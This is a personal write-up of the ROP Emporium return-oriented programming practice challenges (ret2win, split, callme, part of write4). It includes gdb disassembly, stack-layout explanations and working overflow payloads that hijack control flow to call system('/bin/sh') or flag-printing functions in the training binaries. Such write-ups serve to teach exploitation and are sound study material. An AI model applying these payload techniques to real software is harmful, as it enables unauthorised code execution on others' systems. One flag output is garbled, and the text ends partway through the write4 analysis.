ROP Emporium – Ret2Win Challenge (32-bit & 64-bit)
This is the beginning of my ROP journey :)
Download the binaries: https://ropemporium.com/challenge/ret2win.html
Download any architecture type that interests you.
Introduction
Return Oriented Programming (ROP) is the successor of classic buffer overflow techniques such as:
ret2libc- shellcode injection
Modern binaries often include mitigations like:
- NX (No eXecute)
- ASLR
- Stack Canaries
- RELRO
ROP bypasses these protections by chaining together small instruction sequences called gadgets that already exist inside the binary or linked libraries.
Program Analysis
Running the binary:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> asdfghjkl;
Thank you!
Exiting
The program itself hints at a vulnerability:
“fit 56 bytes of user input into 32 bytes of stack buffer”
This strongly suggests a stack buffer overflow.
Disassembling the Vulnerable Function
Let’s inspect the pwnme function:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
End of assembler dump.
(gdb)
Important observations
lea rax,[rbp-0x20]
This means the buffer is located at
rbp - 0x20
mov edx,0x38
0x38 = 56 bytes
So the program calls:
read(0, buffer, 56)
But the buffer is only:
0x20 = 32 bytes
Result
56 byte input
32 byte buffer
➡ 24 bytes overflow
Stack Layout
Typical stack layout for this function:
| saved RIP | <-- rbp + 0x8
| saved RBP |
| buffer | 32 bytes
Therefore to overwrite RIP:
32 bytes buffer
+ 8 bytes saved RBP
= 40 bytes offset
So we need:
40 bytes padding
+ new RIP
Testing the Overflow
Let’s confirm the crash:
(gdb) run < <(python3 -c 'print("A"*40)')
Starting program: /home/nastyax0/ret2win/ret2win < <(python3 -c 'print("A"*40)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Program received signal SIGILL, Illegal instruction.
0x000000000040060f in deregister_tm_clones ()
(gdb)
This confirms:
We successfully overwrote RIP
Exploit
Now we locate the ret2win function:
x/x ret2win
0x400756 <ret2win>: 0xe5894855
Address of ret2win:
0x400756
Now craft payload:
padding (40 bytes)
+ ret2win address
Payload:
gdb < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x07\x40\x00\x00\x00\x00\x00")')
> Thank you! Well done! Here's your flag:
Program received signal SIGSEGV,
Segmentation fault.
0x00007ffff7e21173 in do_system (line=0x400943 "/bin/cat flag.txt") at
../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory.
(gdb) x/x 0x00007ffff7e21173 0x7ffff7e21173 <do_system+339>: 0x2444290f
(gdb) x/i 0x00007ffff7e21173 => 0x7ffff7e21173 <do_system+339>: movaps XMMWORD PTR [rsp+0x50],xmm0
MOVAPS Crash Explanation
ROP Emporium hints about this issue:
The MOVAPS issue If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Why this happens
The x86_64 ABI requires 16-byte stack alignment before calling functions like:
system()printf()vfprintf()
If the stack is misaligned, instructions like:
movaps
will crash with a general protection fault.
Fix 1 — Add an Extra ret Gadget
Add a ret gadget before ret2win to restore stack alignment.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 +
b"\xe7\x06\x40\x00\x00\x00\x00\x00" + b"\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Fix 2 — Skip the Function Prologue
Instead of calling the function start, jump one byte forward to skip the push rbp.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$
python3 -c 'import sys; sys.stdout.buffer.write
(b"A"*40 + b"\x57\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
ROP Emporium – Split Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/split.html
Download any architecture type that interests you.
For 32 bit Binary Analysis
For 32 bit binary we will do classic ret2libc, is calling convention of 32 bit system is stack based meaning first parameter of any function is pushed last and last parameter is pushed first
Moreover in 64 bit systems, these things changes a bit by register based conventions.
buffer size, determination:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x080485b6 <+9>: push 0x20
0x080485b8 <+11>: push 0x0
0x080485ba <+13>: lea eax,[ebp-0x28]
0x080485bd <+16>: push eax
0x080485be <+17>: call 0x8048410 <memset@plt>
...
0x080485d9 <+44>: push 0x8048700
0x080485de <+49>: call 0x80483c0 <printf@plt>
0x080485e3 <+54>: add esp,0x10
0x080485e6 <+57>: sub esp,0x4
0x080485e9 <+60>: push 0x60
0x080485eb <+62>: lea eax,[ebp-0x28]
0x080485ee <+65>: push eax
0x080485ef <+66>: push 0x0
0x080485f1 <+68>: call 0x80483b0 <read@plt>
End of assembler dump.
Yet again same buffer “mistake” from 1st challenge, the read’s ccount is set to 0x60(96) but buffer is of 0x28(32) bytes
Exploit Startegy
we can extend up to like till we overwrite return address:
system() exit() ‘/bin/sh’ string
(gdb) x/s 0x0804a030
0x804a030
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7dda8d0
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7dc9d10
run <
<(python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 + b"AAAA"+b"\xd0\xa8\xdd\xf7"+b"\x10\x9d\xdc\xf7"+b"\x30\xa0\x04\x08")')
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 192]
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 188) exited normally]
(just a flag thing hence leaving till here than trying outisde gdb)
For 64-bit Binary Analysis
We need to perform Return Oriented Programming (ROP), but in 64-bit the key constraint is:
Arguments are passed through registers, not the stack.
Background
Every program starts execution from _start, which eventually calls main.
A typical function prologue looks like:
push rbp
mov rbp, rsp
This establishes the stack frame.
Memory Layout
A process has different memory regions:
- Static (compile-time) → fixed layout defined by compiler
- Dynamic (runtime) → managed during execution
Common segmentation:
--------------------------------------------
| r-xp | .text (executable code) |
| r--p | .rodata (read-only data) |
| rw-p | .data + .bss (globals) |
--------------------------------------------
| rw-p | stack |
--------------------------------------------
From /proc/<pid>/maps:
00400000-00401000 r-xp → .text
00600000-00601000 r--p → .rodata
00601000-00602000 rw-p → .data/.bss
7ffd........ rw-p → [stack]
Key properties:
.text→ read + execute (not writable)stack→ read + write (not executable)- This is enforced by W^X policy
Stack Frame Layout (x86_64)
After prologue:
[RBP + 0x8] → Return Address
[RBP + 0x0] → Saved RBP
[RBP - ...] → Local Variables
If a buffer overflow exists, we can overwrite:
- saved RBP (optional)
- return address (critical)
How RET Works
ret behaves as:
RIP = [RSP]
RSP = RSP + 8
So it:
- Reads the top of stack
- Jumps to that address
- Moves stack forward
Effectively:
pop rip
Why ROP is Needed
- Stack is not executable → cannot run shellcode
- But
.textis executable → contains valid instructions
So we reuse existing instructions (gadgets) ending in:
ret
Calling Convention (System V AMD64)
Function arguments are passed via registers:
1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9
Example:
system("/bin/sh");
Requires:
RDI = address of "/bin/sh"
Core ROP Idea
We do not manually execute push rdi.
Instead, we use gadgets like:
pop rdi
ret
This allows us to control register values via the stack.
Correct Stack Overwrite (ROP Chain)
After overflow:
[padding .................]
[saved RBP (optional).....]
[address of pop rdi; ret] ← overwrite return address
[address of "/bin/sh"] ← will be popped into RDI
[address of system()] ← next return target
Execution Flow
Step 1: Function returns
ret → jumps to pop rdi; ret
Step 2: Gadget executes
pop rdi
ret
- Loads
/bin/shinto RDI - Next
rettransfers control
Step 3: Control reaches system
RDI = "/bin/sh"
RIP = system()
Equivalent to:
system("/bin/sh");
Important Clarifications
- Stack does not automatically map to
.text - We explicitly place addresses of
.textgadgets on stack .textcontains instructions, not stack frames- ROP works by chaining
ret→ controlled execution flow
Final Idea
ROP is:
Using the stack as a sequence of return addresses to execute controlled instruction chains from
.text.
so pop rdi; ret address of /bin/cat flag.txt address of ret (to avoid misaligment) address of system address of exit optional to avoid segfaulting
Exploit Strategy
finding /bin/sh string
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$
xxd -u /usr/lib/x86_64-linux-gnu/libc.so.6 |grep -B 1 bin/sh
00197020: 6962 2F73 7472 746F 645F 6C2E 6300 2D63 ib/strtod_l.c.-c
00197030: 002F 6269 6E2F 7368 0065 7869 7420 3000 ./bin/sh.exit 0.
we found offset for /bin/sh string with the base address:
0x7ffff7dd5000 0x7ffff7dfb000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dfb000 0x7ffff7f51000 0x156000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f51000 0x7ffff7fa4000 0x53000 0x17c000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa4000 0x7ffff7fa8000 0x4000 0x1cf000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa8000 0x7ffff7faa000 0x2000 0x1d3000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
(gdb) x/2s 0x7ffff7dd5000+0x00197031
0x7ffff7f6c031: "/bin/sh"
0x7ffff7f6c039: "exit 0"
finding the address of system:
(gdb) p system
quit
$1 = {int (const char *)} 0x7ffff7e21490 <__libc_system>
(gdb)
finding the gadget for pop rdi; ret
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --opcode "5fc3"
Opcodes information
============================================================
0x00000000004007c3 : 5fc3
(gdb) x/2i 0x00000000004007c3
0x4007c3 <__libc_csu_init+99>: pop rdi
0x4007c4 <__libc_csu_init+100>: ret
(gdb)
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*40
+ b"\xc3\x07\x40\x00\x00\x00\x00\x00" # pop rdi
+ b"\x31\xc0\xf6\xf7\xff\x7f\x00\x00" # "/bin/sh"
+ b"\xc4\x07\x40\x00\x00\x00\x00\x00" # ret
+ b"\x90\x14\xe2\xf7\xff\x7f\x00\x00" # system
)' > paylo
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ( cat paylo; cat ) | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ls
flag.txt paylo split
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
^X^Csplit by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Segmentation fault (core dumped)
for the usefulString: /bin/cat flag.txt
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary
./split --string "/bin/cat flag.txt"
Strings information
============================================================
0x0000000000601060 : /bin/cat flag.txt
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 +
b"\xc3\x07\x40\x00\x00\x00\x00\x00" + b"\x60\x10\x60\x
00\x00\x00\x00\x00" + b"\xc4\x07\x40\x00\x00\x00\x00\x00" +
b"\x90\x14\xe2\xf7\xff\x7f")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 174]
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3389b in buffered_vfprintf (s=0x7ffff7fa9760 <_IO_2_1_stdout_>, format=format@entry=0x40083c "> ",
args=args@entry=0x7fffffffdb78, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1734
1734 ./stdio-common/vfprintf-internal.c: No such file or directory.
(gdb) quit
A debugging session is active.
Inferior 1 [process 172] will be killed.
Quit anyway? (y or n) y
again if you want non crashable, then add a exit after the system()’s address (reccomended)
ROP Emporium – Callme Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/callme.html
Download any architecture type that interests you.
Binary Analysis
Assuming you have read the instructions provided on the site, our goal is to locate and call the functions:
- callme_one
- callme_two
- callme_three
Dump of assembler code for function usefulFunction:
0x0804874f <+0>: push ebp
0x08048750 <+1>: mov ebp,esp
0x08048752 <+3>: sub esp,0x8
0x08048755 <+6>: sub esp,0x4
0x08048758 <+9>: push 0x6
0x0804875a <+11>: push 0x5
0x0804875c <+13>: push 0x4
0x0804875e <+15>: call 0x80484e0 <callme_three@plt>
0x08048763 <+20>: add esp,0x10
0x08048766 <+23>: sub esp,0x4
0x08048769 <+26>: push 0x6
0x0804876b <+28>: push 0x5
0x0804876d <+30>: push 0x4
0x0804876f <+32>: call 0x8048550 <callme_two@plt>
0x08048774 <+37>: add esp,0x10
0x08048777 <+40>: sub esp,0x4
0x0804877a <+43>: push 0x6
0x0804877c <+45>: push 0x5
0x0804877e <+47>: push 0x4
0x08048780 <+49>: call 0x80484f0 <callme_one@plt>
0x08048785 <+54>: add esp,0x10
0x08048788 <+57>: sub esp,0xc
0x0804878b <+60>: push 0x1
0x0804878d <+62>: call 0x8048510 <exit@plt>
End of assembler dump.
We are required to pass the parameters:
arg1 = deadbeefarg2 = cafebabearg3 = d00f00d
for all three functions.
On a 32-bit system, as discussed earlier, arguments are passed via the stack. This means we must push values directly onto the stack in the correct order.
Buffer Calculation
...
0x080486ed <+0>: push ebp
0x080486ee <+1>: mov ebp,esp
0x080486f0 <+3>: sub esp,0x28
0x080486f3 <+6>: sub esp,0x4
...
0x08048729 <+60>: push 0x200
0x0804872e <+65>: lea eax,[ebp-0x28]
0x08048731 <+68>: push eax
0x08048732 <+69>: push 0x0
0x08048734 <+71>: call 0x80484c0 <read@plt>
...
The buffer size is:
0x28 + 0x4 = 0x2c (44 bytes)
So:
"A" * 40 + "B" * 4 → reaches EBP
Stack Layout (32-bit)
Since arguments are passed via the stack:
esp-0x4 = function address
esp = return address
esp+0x4 = arg1
esp+0x8 = arg2
esp+0xc = arg3
Also note: the value intended for arg1 must be pushed last, since the stack grows downward.
First Attempt
run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40+b"B"*4+b"\xf0\x84\x04\x08"+b"\xef\xbe\xa
d\xde"+b"\xbe\xba\xfe\xca"+b"\x0d\xf0\x0d\xd0")')
(gdb) c
Continuing.
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
Register Inspection
eax 0xb 11
ecx 0xf7fa89b8 -134575688
edx 0x1 1
ebx 0xf7fa6ff4 -134582284
esp 0xffffce10 0xffffce10
ebp 0x42424242 0x42424242
esi 0x80487a0 134514592
edi 0xf7ffcb80 -134231168
eip 0xf7fbe63d 0xf7fbe63d <callme_one>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
k0 0x0 0
This attempt fails due to incorrect parameters.
Some registers contain garbage or unintended values (which doesn’t matter much in 32-bit). What truly matters is the sequence of values placed on the stack.
Problem: Stack Cleanup
Since we are chaining function calls manually, the stack is not cleaned automatically. We must ensure:
- arguments are correctly aligned
- the stack is cleaned between calls
Initially, overwriting might seem like a solution—but it’s not ideal.
Observation
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
(gdb) info registers
eax 0xb 11
ecx 0xf7fa89b8 -134575688
edx 0x1 1
ebx 0xf7fa6ff4 -134582284
esp 0xffffce10 0xffffce10
ebp 0x41414141 0x41414141
esi 0x80487a0 134514592
edi 0xf7ffcb80 -134231168
eip 0xf7fbe63d 0xf7fbe63d <callme_one>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
This indicates that we need to manually pop values off the stack to maintain alignment.
Gadget Discovery
Here’s the nuance, gadget doesnt really matter in 32 bit system as in for registers but values we are able to clear from stack.
Stack Framing:
nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme32 --depth 10 | grep "pop"
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Correct Stack Layout
esp-0x4 = function1's address
esp = pop gadget
esp+0x4 = arg1
esp+0x8 = arg2
esp+0xc = arg3
Repeat this structure for the second and third function calls.
Because this gadget performs four pops, padding (BBBB) was required to maintain proper alignment.
Final Payload
import sys
sys.stdout.buffer.write(b"A"*40+b"B"*4+
b"\xf0\x84\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x50\x85\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x5e\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0")'
Execution Result
run < paylo
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
(gdb)
Continuing.
callme_one() called correctly
Breakpoint 3, 0xf7fbe75a in callme_two () from ./libcallme32.so
(gdb)
Continuing.
callme_two() called correctly
Breakpoint 4, 0xf7fbe85a in callme_three () from ./libcallme32.so
(gdb)
Continuing.
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 1226) exited normally]
(gdb)
Switching up – 64-bit Binary
At first glance, this looks quite similar to the 32-bit version—just different addresses, right? However, the key difference lies in how arguments are passed.
In 64-bit systems (System V AMD64 ABI), arguments are not passed on the stack. Instead, they are passed through registers:
rdi→ arg1rsi→ arg2rdx→ arg3
So instead of pushing values onto the stack, we need a gadget that lets us control these registers.
Gadget Discovery
Luckily, we find a perfect gadget:
nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme --depth 10 | grep "pop rdi"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
This gadget allows us to set all three required arguments in one go.
Function Addresses
(gdb) disassemble callme_one
Dump of assembler code for function callme_one:
0x00007ffff7c0081a <+0>: push rbp
(gdb) disassemble callme_two
Dump of assembler code for function callme_two:
0x00007ffff7c0092b <+0>: push rbp
Quit
(gdb) disassemble callme_three
Dump of assembler code for function callme_three:
0x00007ffff7c00a2d <+0>: push rbp
0x00007ffff7c00a2e <+1>: mov rbp,rsp
Payload Construction
-
Buffer overflow offset:
"A"*32 + "B"*8→ reaches return address (RIP) -
Then:
- Use
pop rdi ; pop rsi ; pop rdx ; ret - Load arguments into registers
- Call the function
- Repeat for all three functions
- Use
import sys
sys.stdout.buffer.write(b"A"*32+b"B"*8+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x1a\x08\xc0\xf7\xff\x7f\x00\x00"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x2d\x0a\xc0\xf7\xff\x7f\x00\x00")'
Execution Result
(gdb) run < paylo
(gdb) c
Continuing.
SMSA~gXxekhieacter_32byte_flag!}
[Inferior 1 (process 4059) exited normally]
Running Outside GDB
nastyax0@LAPTOP-DNJPR47V:$ nano rfv.py
nastyax0@LAPTOP-DNJPR47V:$ python3 rfv.py | ./callme
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
SMSA~gXxekhieacter_32byte_flag!}
Debugging Tips
-
Always set breakpoints at function addresses to confirm control flow:
b *callme_one -
If arguments are incorrect, inspect stack-relative values:
rbp+0x18 rbp+0x20 rbp+0x28These offsets are used internally by
callme_*functions to validate arguments.
Final Notes
- 64-bit exploitation relies heavily on register control, not just stack layout
- Gadgets like
pop rdi ; pop rsi ; pop rdx ; retare extremely valuable - Misalignment issues are common—debugging step-by-step is key
- These challenges provide ideal gadgets, but in real scenarios: You often need to get creative and chain smaller gadgets together
ROP Emporium – Write4 Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/write4.html
Download any architecture type that interests you.
Binary Analysis
Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:
The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.
The site has hinted us at gadget finding and chaining.
Moreover, inroduction to Write-what-where Condition:
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
https://martellosecurity.com/kb/mitre/cwe/123/
pull out gdb on the binary: 32 bit binary
(gdb) disassemble main
Dump of assembler code for function main:
0x08048506 <+0>: lea ecx,[esp+0x4]
0x0804850a <+4>: and esp,0xfffffff0
0x0804850d <+7>: push DWORD PTR [ecx-0x4]
0x08048510 <+10>: push ebp
0x08048511 <+11>: mov ebp,esp
0x08048513 <+13>: push ecx
0x08048514 <+14>: sub esp,0x4
0x08048517 <+17>: call 0x80483b0 <pwnme@plt>
0x0804851c <+22>: mov eax,0x0
0x08048521 <+27>: add esp,0x4
0x08048524 <+30>: pop ecx
0x08048525 <+31>: pop ebp
0x08048526 <+32>: lea esp,[ecx-0x4]
0x08048529 <+35>: ret
End of assembler dump.
(gdb)
Ignoring the stack setup and rest, function defination for pwnme is interesting:
Interestingly jumping to GOT entry for data:
(gdb) disassemble main
Dump of assembler code for function main:
0x08048506 <+0>: lea ecx,[esp+0x4]
0x0804850a <+4>: and esp,0xfffffff0
0x0804850d <+7>: push DWORD PTR [ecx-0x4]
0x08048510 <+10>: push ebp
0x08048511 <+11>: mov ebp,esp
0x08048513 <+13>: push ecx
0x08048514 <+14>: sub esp,0x4
0x08048517 <+17>: call 0x80483b0 <pwnme@plt>
0x0804851c <+22>: mov eax,0x0
0x08048521 <+27>: add esp,0x4
0x08048524 <+30>: pop ecx
0x08048525 <+31>: pop ebp
0x08048526 <+32>: lea esp,[ecx-0x4]
0x08048529 <+35>: ret
End of assembler dump.
(gdb) disassemble 0x80483b0
Dump of assembler code for function pwnme@plt:
0x080483b0 <+0>: jmp DWORD PTR ds:0x804a00c
0x080483b6 <+6>: push 0x0
0x080483bb <+11>: jmp 0x80483a0
End of assembler dump.
(gdb) x/a 0x804a00c
0x804a00c <pwnme@got.plt>: 0x80483b6 <pwnme@plt+6>
(gdb)
we see its pointing to itself value over there?, actually its lazy binding at its work!
just ni and execute the pwnme@plt:
Breakpoint 1, 0x08048514 in main ()
(gdb) ni
0x08048517 in main ()
(gdb)
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> hello
Thank you!
0x0804851c in main ()
(gdb) disassemble 0x80483b0
Dump of assembler code for function pwnme@plt:
0x080483b0 <+0>: jmp DWORD PTR ds:0x804a00c
0x080483b6 <+6>: push 0x0
0x080483bb <+11>: jmp 0x80483a0
End of assembler dump.
(gdb) x/a 0x804a00c
0x804a00c <pwnme@got.plt>: 0xf7fbc69d
(gdb)
The actual where primitive might be :)
(gdb) disassemble 0xf7fbc69d
Dump of assembler code for function pwnme:
0xf7fbc69d <+0>: push ebp
0xf7fbc69e <+1>: mov ebp,esp
0xf7fbc6a0 <+3>: push ebx
0xf7fbc6a1 <+4>: sub esp,0x24
0xf7fbc6a4 <+7>: call 0xf7fbc5a0 <__x86.get_pc_thunk.bx>
0xf7fbc6a9 <+12>: add ebx,0x1957
0xf7fbc6af <+18>: mov eax,DWORD PTR [ebx-0x8]
0xf7fbc6b5 <+24>: mov eax,DWORD PTR [eax]
0xf7fbc6b7 <+26>: push 0x0
0xf7fbc6b9 <+28>: push 0x2
0xf7fbc6bb <+30>: push 0x0
0xf7fbc6bd <+32>: push eax
0xf7fbc6be <+33>: call 0xf7fbc560 <setvbuf@plt>
0xf7fbc6c3 <+38>: add esp,0x10
0xf7fbc6c6 <+41>: sub esp,0xc
0xf7fbc6c9 <+44>: lea eax,[ebx-0x1808]
0xf7fbc6cf <+50>: push eax
0xf7fbc6d0 <+51>: call 0xf7fbc540 <puts@plt>
0xf7fbc6d5 <+56>: add esp,0x10
0xf7fbc6d8 <+59>: sub esp,0xc
0xf7fbc6db <+62>: lea eax,[ebx-0x17f1]
0xf7fbc6e1 <+68>: push eax
0xf7fbc6e2 <+69>: call 0xf7fbc540 <puts@plt>
0xf7fbc6e7 <+74>: add esp,0x10
0xf7fbc6ea <+77>: sub esp,0x4
0xf7fbc6ed <+80>: push 0x20
0xf7fbc6ef <+82>: push 0x0
0xf7fbc6f1 <+84>: lea eax,[ebp-0x28]
0xf7fbc6f4 <+87>: push eax
0xf7fbc6f5 <+88>: call 0xf7fbc580 <memset@plt>
0xf7fbc6fa <+93>: add esp,0x10
0xf7fbc6fd <+96>: sub esp,0xc
0xf7fbc700 <+99>: lea eax,[ebx-0x17ec]
0xf7fbc706 <+105>: push eax
0xf7fbc707 <+106>: call 0xf7fbc540 <puts@plt>
0xf7fbc70c <+111>: add esp,0x10
0xf7fbc70f <+114>: sub esp,0xc
0xf7fbc712 <+117>: lea eax,[ebx-0x17c3]
0xf7fbc718 <+123>: push eax
0xf7fbc719 <+124>: call 0xf7fbc510 <printf@plt>
0xf7fbc71e <+129>: add esp,0x10
0xf7fbc721 <+132>: sub esp,0x4
0xf7fbc724 <+135>: push 0x200
0xf7fbc729 <+140>: lea eax,[ebp-0x28]
0xf7fbc72c <+143>: push eax
0xf7fbc72d <+144>: push 0x0
0xf7fbc72f <+146>: call 0xf7fbc500 <read@plt>
0xf7fbc734 <+151>: add esp,0x10
0xf7fbc737 <+154>: sub esp,0xc
0xf7fbc73a <+157>: lea eax,[ebx-0x17c0]
0xf7fbc740 <+163>: push eax
0xf7fbc741 <+164>: call 0xf7fbc540 <puts@plt>
0xf7fbc746 <+169>: add esp,0x10
0xf7fbc749 <+172>: nop
0xf7fbc74a <+173>: mov ebx,DWORD PTR [ebp-0x4]
0xf7fbc74d <+176>: leave
0xf7fbc74e <+177>: ret
End of assembler dump.
(gdb)
Another way of finding the address of pwnme, is finding the offset through custom .so thats provided: the pwnme isnt a function thats defined in the excutable itself but rather compiled and linked against another shared object that contains the fucntion defination of pwnme. Hence the reason you might not find the dfination in .text section of the prgram mappings.
(gdb) info proc mappings
process 310
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x8048000 0x8049000 0x1000 0x0 r-xp /home/nastyax0/write432/write432
0x8049000 0x804a000 0x1000 0x0 r--p /home/nastyax0/write432/write432
0x804a000 0x804b000 0x1000 0x1000 rw-p /home/nastyax0/write432/write432
0xf7d88000 0xf7daa000 0x22000 0x0 r--p /usr/lib32/libc.so.6
0xf7daa000 0xf7f23000 0x179000 0x22000 r-xp /usr/lib32/libc.so.6
0xf7f23000 0xf7fa3000 0x80000 0x19b000 r--p /usr/lib32/libc.so.6
0xf7fa3000 0xf7fa5000 0x2000 0x21b000 r--p /usr/lib32/libc.so.6
0xf7fa5000 0xf7fa6000 0x1000 0x21d000 rw-p /usr/lib32/libc.so.6
0xf7fa6000 0xf7fb0000 0xa000 0x0 rw-p
0xf7fbc000 0xf7fbd000 0x1000 0x0 r-xp /home/nastyax0/write432/libwrite432.so
0xf7fbd000 0xf7fbe000 0x1000 0x0 r--p /home/nastyax0/write432/libwrite432.so
0xf7fbe000 0xf7fbf000 0x1000 0x1000 rw-p /home/nastyax0/write432/libwrite432.so
0xf7fbf000 0xf7fc1000 0x2000 0x0 rw-p
0xf7fc1000 0xf7fc5000 0x4000 0x0 r--p [vvar]
0xf7fc5000 0xf7fc7000 0x2000 0x0 r--p [vvar_vclock]
0xf7fc7000 0xf7fc9000 0x2000 0x0 r-xp [vdso]
0xf7fc9000 0xf7fca000 0x1000 0x0 r--p /usr/lib32/ld-linux.so.2
0xf7fca000 0xf7fed000 0x23000 0x1000 r-xp /usr/lib32/ld-linux.so.2
0xf7fed000 0xf7ffb000 0xe000 0x24000 r--p /usr/lib32/ld-linux.so.2
